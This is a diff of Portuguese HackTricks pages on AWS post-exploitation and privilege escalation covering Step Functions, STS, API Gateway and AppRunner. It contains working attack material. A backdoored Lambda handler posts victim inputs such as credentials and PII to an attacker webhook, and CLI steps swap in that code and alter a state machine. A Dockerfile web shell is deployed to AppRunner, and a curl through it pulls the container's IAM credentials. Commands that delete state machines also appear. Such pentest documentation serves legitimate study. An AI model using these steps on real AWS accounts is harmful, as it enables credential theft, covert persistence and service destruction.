### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Um atacante que comprometer um usuário ou função com as seguintes permissões:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...pode conduzir um **ataque de pós-exploração de alto impacto e furtivo** combinando backdooring do Lambda com manipulação da lógica do Step Function.
|
||||
|
||||
Este cenário assume que a vítima usa **AWS Step Functions para orquestrar fluxos de trabalho que processam entradas sensíveis**, como credenciais, tokens ou PII.
|
||||
|
||||
Exemplo de invocação da vítima:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Se a Step Function estiver configurada para invocar um Lambda como `LegitBusinessLogic`, o atacante pode prosseguir com **duas variantes de ataque furtivas**:
|
||||
|
||||
---
|
||||
|
||||
#### Atualizou a função lambda
|
||||
|
||||
O atacante modifica o código da função Lambda já utilizada pela Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente os dados de entrada.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Adicionar um Estado Malicioso à Função de Etapa
|
||||
|
||||
Alternativamente, o atacante pode injetar um **estado de exfiltração** no início do fluxo de trabalho atualizando a definição da Função de Etapa.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
O atacante pode ser ainda mais furtivo ao atualizar a definição de estado para algo como isto
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
onde a vítima não perceberá a diferença
|
||||
|
||||
---
|
||||
|
||||
### Configuração da Vítima (Contexto para Exploração)
|
||||
|
||||
- Uma Step Function (`LegitStateMachine`) é usada para processar entradas sensíveis do usuário.
|
||||
- Ela chama uma ou mais funções Lambda, como `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Impacto Potencial**:
|
||||
- Exfiltração silenciosa de dados sensíveis, incluindo segredos, credenciais, chaves de API e PII.
|
||||
- Sem erros ou falhas visíveis na execução do fluxo de trabalho.
|
||||
- Difícil de detectar sem auditar o código Lambda ou rastros de execução.
|
||||
- Permite persistência a longo prazo se o backdoor permanecer no código ou na lógica ASL.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,185 @@
|
||||
# AWS - Step Functions Pós-Exploração
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Para mais informações sobre este serviço da AWS, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Essa permissão permite **revelar dados secretos dentro de uma execução**. Para isso, é necessário definir Inspection level como TRACE e o parâmetro revealSecrets como true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Um atacante com essas permissões poderia excluir permanentemente state machines, suas versões e aliases. Isso pode interromper fluxos de trabalho críticos, resultar em perda de dados e exigir um tempo significativo para recuperar e restaurar as state machines afetadas. Além disso, permitiria que um atacante encobrisse os rastros usados, interrompesse investigações forenses e potencialmente prejudicasse operações ao remover processos essenciais de automação e configurações de estado.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Ao deletar uma state machine, você também exclui todas as suas versões e aliases associados.
|
||||
> - Ao deletar um alias de state machine, você não exclui as versões da state machine que fazem referência a esse alias.
|
||||
> - Não é possível deletar uma versão de state machine que esteja atualmente referenciada por um ou mais aliases.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
# Delete state machine version
|
||||
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Impacto Potencial**: Interrupção de workflows críticos, perda de dados e tempo de inatividade operacional.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Um atacante com essa permissão poderia manipular a configuração de falha do Map Run e a configuração de paralelismo, podendo aumentar ou diminuir o número máximo de execuções de workflows filhos permitidas, afetando diretamente o desempenho do serviço. Além disso, um atacante poderia adulterar a porcentagem e a contagem de falhas toleradas, podendo reduzir esse valor para 0, de modo que sempre que um item falhar, todo o Map Run falharia, afetando diretamente a execução da state machine e potencialmente interrompendo workflows críticos.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Impacto Potencial**: Degradação de desempenho e interrupção de fluxos de trabalho críticos.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Um atacante com essa permissão poderia interromper a execução de qualquer state machine, atrapalhando fluxos de trabalho e processos em andamento. Isso pode resultar em transações incompletas, operações de negócio paralisadas e possível corrupção de dados.
|
||||
|
||||
> [!WARNING]
|
||||
> Esta ação não é suportada por **express state machines**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Impacto Potencial**: Interrupção de fluxos de trabalho em andamento, tempo de inatividade operacional e potencial corrupção de dados.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Um atacante poderia adicionar, modificar ou remover tags de recursos do Step Functions, prejudicando a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impacto Potencial**: Disrupção na alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Um atacante que compromete um usuário ou role com as seguintes permissões:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...pode conduzir um **high-impact and stealthy post-exploitation attack** combinando Lambda backdooring com manipulação da lógica do Step Function.
|
||||
|
||||
Este cenário assume que a vítima usa **AWS Step Functions para orquestrar fluxos de trabalho que processam entradas sensíveis**, como credenciais, tokens ou PII.
|
||||
|
||||
Exemplo de invocação da vítima:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Se a Step Function estiver configurada para invocar uma Lambda como `LegitBusinessLogic`, o atacante pode prosseguir com **duas variantes de ataque furtivas**:
|
||||
|
||||
---
|
||||
|
||||
#### Atualizou a função Lambda
|
||||
|
||||
O atacante modifica o código da função Lambda já usada pela Step Function (`LegitBusinessLogic`) para exfiltrate silenciosamente os dados de entrada.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Adicionar um estado malicioso ao Step Function
|
||||
|
||||
Alternativamente, o atacante pode injetar um **exfiltration state** no início do fluxo de trabalho atualizando a definição do Step Function.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
O atacante pode ser ainda mais furtivo ao atualizar a definição de estado para algo como isto
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
onde a vítima não perceberá a diferença
|
||||
|
||||
---
|
||||
|
||||
### Configuração da Vítima (Contexto para Exploit)
|
||||
|
||||
- A Step Function (`LegitStateMachine`) é usada para processar entrada sensível do usuário.
|
||||
- Chama uma ou mais funções Lambda, como `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Impacto Potencial**:
|
||||
- Exfiltration silenciosa de dados sensíveis, incluindo secrets, credentials, API keys e PII.
|
||||
- Sem erros visíveis ou falhas na execução do fluxo de trabalho.
|
||||
- Difícil de detectar sem auditar o código Lambda ou os traços de execução.
|
||||
- Permite persistência a longo prazo se o backdoor permanecer no código ou na lógica ASL.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +1,22 @@
|
||||
# AWS - STS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
Para mais informações:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### De IAM Creds para o Console
|
||||
### From IAM Creds to Console
|
||||
|
||||
Se você conseguiu obter algumas credenciais IAM, pode ter interesse em **acessar o web console** usando as seguintes ferramentas.\
|
||||
Observe que o usuário/função deve ter a permissão **`sts:GetFederationToken`**.
|
||||
Se você conseguiu obter algumas credenciais IAM, pode se interessar em **acessar o web console** usando as ferramentas a seguir. Observe que o user/role deve ter a permissão **`sts:GetFederationToken`**.
|
||||
|
||||
#### Custom script
|
||||
#### Script personalizado
|
||||
|
||||
O script a seguir usará o perfil padrão e uma localização AWS padrão (não gov e não cn) para gerar uma URL assinada que você pode usar para fazer login no web console:
|
||||
O script a seguir usará o default profile e uma default AWS location (não gov e não cn) para fornecer uma signed URL que você pode usar para fazer login no web console:
|
||||
```bash
|
||||
# Get federated creds (you must indicate a policy or they won't have any perms)
|
||||
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
|
||||
@@ -55,7 +54,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co
|
||||
```
|
||||
#### aws_consoler
|
||||
|
||||
Você pode **gerar um link do console web** com [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
||||
Você pode **gerar um link para o console da web** com [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
||||
```bash
|
||||
cd /tmp
|
||||
python3 -m venv env
|
||||
@@ -64,7 +63,7 @@ pip install aws-consoler
|
||||
aws_consoler [params...] #This will generate a link to login into the console
|
||||
```
|
||||
> [!WARNING]
|
||||
> Certifique-se de que o usuário IAM tenha a permissão `sts:GetFederationToken`, ou forneça uma role para assumir.
|
||||
> Certifique-se de que o usuário IAM tenha permissão `sts:GetFederationToken`, ou forneça uma role para assumir.
|
||||
|
||||
#### aws-vault
|
||||
|
||||
@@ -75,11 +74,11 @@ aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
|
||||
aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
```
|
||||
> [!NOTE]
|
||||
> Você também pode usar **aws-vault** para obter uma **sessão do console no navegador**
|
||||
> Você também pode usar **aws-vault** para obter uma **browser console session**
|
||||
|
||||
### **Contornar restrições de User-Agent a partir do Python**
|
||||
### **Bypass User-Agent restrictions from Python**
|
||||
|
||||
Se houver uma **restrição para executar certas ações com base no User-Agent** usado (como restringir o uso da biblioteca python boto3 com base no User-Agent), é possível usar a técnica anterior para **conectar-se ao console web via um navegador**, ou você pode diretamente **modificar o user-agent do boto3** fazendo:
|
||||
Se houver uma **restriction to perform certain actions based on the user agent** usada (como restringir o uso da biblioteca python boto3 com base no user agent), é possível usar a técnica anterior para **connect to the web console via a browser**, ou você pode diretamente **modify the boto3 user-agent** fazendo:
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
@@ -94,12 +93,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
|
||||
```
|
||||
### **`sts:GetFederationToken`**
|
||||
|
||||
Com essa permissão é possível criar uma identidade federada para o usuário que a executa, limitada às permissões que esse usuário possui.
|
||||
Com essa permissão é possível criar uma identidade federada para o usuário que a utiliza, limitada às permissões que esse usuário possui.
|
||||
```bash
|
||||
aws sts get-federation-token --name <username>
|
||||
```
|
||||
O token retornado por sts:GetFederationToken pertence à identidade federada do usuário que o chamou, mas com permissões restritas. Mesmo que o usuário tenha direitos de administrador, certas ações — como listar IAM users ou anexar políticas — não podem ser realizadas com o token federado.
|
||||
O token retornado por sts:GetFederationToken pertence à identidade federada do usuário que faz a chamada, mas com permissões restritas. Mesmo que o usuário tenha direitos de administrador, certas ações, como listar usuários do IAM ou anexar políticas, não podem ser executadas através do token federado.
|
||||
|
||||
Além disso, esse método é um pouco mais furtivo, já que o usuário federado não aparece no AWS Portal; ele só pode ser observado através dos logs do CloudTrail ou de ferramentas de monitoramento.
|
||||
Além disso, esse método é um pouco mais discreto, já que o usuário federado não aparece no AWS Portal; ele só pode ser observado através dos logs do CloudTrail ou de ferramentas de monitoramento.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,13 +0,0 @@
|
||||
# AWS - VPN Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VPN
|
||||
|
||||
Para mais informações:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,13 @@
|
||||
# AWS - VPN Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VPN
|
||||
|
||||
Para mais informações:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,48 +1,48 @@
|
||||
# AWS - Apigateway Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apigateway
|
||||
|
||||
Para mais informações, consulte:
|
||||
Para mais informações consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `apigateway:POST`
|
||||
|
||||
Com esta permissão, você pode gerar chaves de API das APIs configuradas (por região).
|
||||
Com essa permissão você pode gerar API keys das APIs configuradas (por região).
|
||||
```bash
|
||||
aws --region <region> apigateway create-api-key
|
||||
```
|
||||
**Impacto Potencial:** Você não pode escalar privilégios com esta técnica, mas pode obter acesso a informações sensíveis.
|
||||
**Impacto Potencial:** Você não pode privesc com esta técnica, mas pode obter acesso a informações sensíveis.
|
||||
|
||||
### `apigateway:GET`
|
||||
|
||||
Com esta permissão, você pode obter chaves de API geradas das APIs configuradas (por região).
|
||||
Com esta permissão você pode obter chaves de API geradas das APIs configuradas (por região).
|
||||
```bash
|
||||
aws --region <region> apigateway get-api-keys
|
||||
aws --region <region> apigateway get-api-key --api-key <key> --include-value
|
||||
```
|
||||
**Impacto Potencial:** Você não pode escalar privilégios com esta técnica, mas pode obter acesso a informações sensíveis.
|
||||
**Impacto potencial:** Você não pode privesc com esta técnica, mas pode obter acesso a informações sensíveis.
|
||||
|
||||
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
|
||||
|
||||
Com essas permissões, é possível modificar a política de recursos de uma API para se dar acesso a chamá-la e abusar do acesso potencial que o API gateway pode ter (como invocar uma lambda vulnerável).
|
||||
Com essas permissões é possível modificar a política de recurso de uma API para conceder a si mesmo permissão para chamá-la e abusar de qualquer acesso potencial que o API gateway possa ter (como invocar uma lambda vulnerável).
|
||||
```bash
|
||||
aws apigateway update-rest-api \
|
||||
--rest-api-id api-id \
|
||||
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
|
||||
```
|
||||
**Impacto Potencial:** Você, geralmente, não conseguirá privesc diretamente com esta técnica, mas pode obter acesso a informações sensíveis.
|
||||
**Potential Impact:** Normalmente, você não conseguirá privesc diretamente com esta técnica, mas pode obter acesso a informações sensíveis.
|
||||
|
||||
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
|
||||
|
||||
> [!NOTA]
|
||||
> Necessita de teste
|
||||
> [!NOTE]
|
||||
> Precisa de testes
|
||||
|
||||
Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que tem um papel IAM anexado**. O atacante pode então **disparar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados ao papel IAM**.
|
||||
Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que tenha uma IAM role anexada**. O atacante pode então **acionar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados à IAM role**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Acesso a recursos associados ao papel IAM da função Lambda.
|
||||
**Impacto Potencial**: Acesso a recursos associados ao IAM role da função Lambda.
|
||||
|
||||
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
|
||||
|
||||
> [!NOTA]
|
||||
> Necessita de teste
|
||||
> [!NOTE]
|
||||
> Necessita de testes
|
||||
|
||||
Um atacante com as permissões `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` pode **modificar um autorizer existente do API Gateway** para contornar verificações de segurança ou para executar código arbitrário quando solicitações de API são feitas.
|
||||
Um atacante com as permissões `apigateway:UpdateAuthorizer` e `apigateway:CreateDeployment` pode **modificar um authorizer existente do API Gateway** para contornar verificações de segurança ou para executar código arbitrário quando solicitações à API forem feitas.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
AUTHORIZER_ID="your-authorizer-id"
|
||||
@@ -75,21 +75,21 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Impacto Potencial**: Contornar verificações de segurança, acesso não autorizado a recursos da API.
|
||||
**Impacto Potencial**: Contornar verificações de segurança, acesso não autorizado a recursos de API.
|
||||
|
||||
### `apigateway:UpdateVpcLink`
|
||||
|
||||
> [!NOTA]
|
||||
> Necessita de teste
|
||||
> [!NOTE]
|
||||
> Precisa de testes
|
||||
|
||||
Um atacante com a permissão `apigateway:UpdateVpcLink` pode **modificar um VPC Link existente para apontar para um Load Balancer de Rede diferente, potencialmente redirecionando o tráfego privado da API para recursos não autorizados ou maliciosos**.
|
||||
Um atacante com a permissão `apigateway:UpdateVpcLink` pode **modificar um VPC Link existente para apontar para um Network Load Balancer diferente, potencialmente redirecionando o tráfego de API privado para recursos não autorizados ou maliciosos**.
|
||||
```bash
|
||||
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
|
||||
VPC_LINK_ID="your-vpc-link-id"
|
||||
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
|
||||
|
||||
# Update the VPC Link
|
||||
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
|
||||
```
|
||||
**Impacto Potencial**: Acesso não autorizado a recursos privados da API, interceptação ou interrupção do tráfego da API.
|
||||
**Impacto Potencial**: Acesso não autorizado a recursos privados de API, interceptação ou interrupção do tráfego da API.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,14 +1,14 @@
|
||||
# AWS - AppRunner Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AppRunner
|
||||
|
||||
### `iam:PassRole`, `apprunner:CreateService`
|
||||
|
||||
Um atacante com essas permissões pode criar um serviço AppRunner com um papel IAM anexado, potencialmente escalando privilégios ao acessar as credenciais do papel.
|
||||
Um atacante com essas permissões pode criar um serviço AppRunner com uma IAM role anexada, potencialmente escalando privilégios ao acessar as credentials da IAM role.
|
||||
|
||||
O atacante primeiro cria um Dockerfile que serve como um web shell para executar comandos arbitrários no contêiner AppRunner.
|
||||
O atacante primeiro cria um Dockerfile que serve como um web shell para executar comandos arbitrários no container do AppRunner.
|
||||
```Dockerfile
|
||||
FROM golang:1.24-bookworm
|
||||
WORKDIR /app
|
||||
@@ -40,8 +40,8 @@ RUN go mod init test && go build -o main .
|
||||
EXPOSE 3000
|
||||
CMD ["./main"]
|
||||
```
|
||||
Em seguida, envie esta imagem para um repositório ECR.
|
||||
Ao enviar a imagem para um repositório público em uma conta AWS controlada pelo atacante, a escalada de privilégios é possível mesmo que a conta da vítima não tenha permissões para manipular o ECR.
|
||||
Em seguida, faça push desta imagem para um repositório ECR.
|
||||
Ao fazer push da imagem para um public repository em uma AWS account controlada pelo attacker, privilege escalation é possível mesmo se a victim's account não tiver permissões para manipular o ECR.
|
||||
```sh
|
||||
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
|
||||
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
|
||||
@@ -49,7 +49,7 @@ aws ecr-public get-login-password | docker login --username AWS --password-stdin
|
||||
docker push $IMAGE_NAME
|
||||
docker logout public.ecr.aws
|
||||
```
|
||||
Em seguida, o atacante cria um serviço AppRunner configurado com esta imagem de web shell e o IAM Role que deseja explorar.
|
||||
Em seguida, o atacante cria um serviço AppRunner configurado com esta web shell image e o IAM Role que deseja explorar.
|
||||
```bash
|
||||
aws apprunner create-service \
|
||||
--service-name malicious-service \
|
||||
@@ -63,10 +63,10 @@ aws apprunner create-service \
|
||||
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
|
||||
--query Service.ServiceUrl
|
||||
```
|
||||
Após aguardar a conclusão da criação do serviço, use o shell da web para recuperar as credenciais do contêiner e obter as permissões do IAM Role anexado ao AppRunner.
|
||||
Após aguardar a criação do serviço ser concluída, use o web shell para recuperar as container credentials e obter as permissões do IAM Role associado ao AppRunner.
|
||||
```sh
|
||||
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
|
||||
```
|
||||
**Impacto Potencial:** Escalada de privilégios direta para qualquer função IAM que possa ser anexada a serviços AppRunner.
|
||||
**Impacto Potencial:** Escalada direta de privilégios para qualquer IAM role que possa ser anexada aos serviços AppRunner.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,9 +0,0 @@
|
||||
# AWS - Chime Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### chime:CreateApiKey
|
||||
|
||||
TODO
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user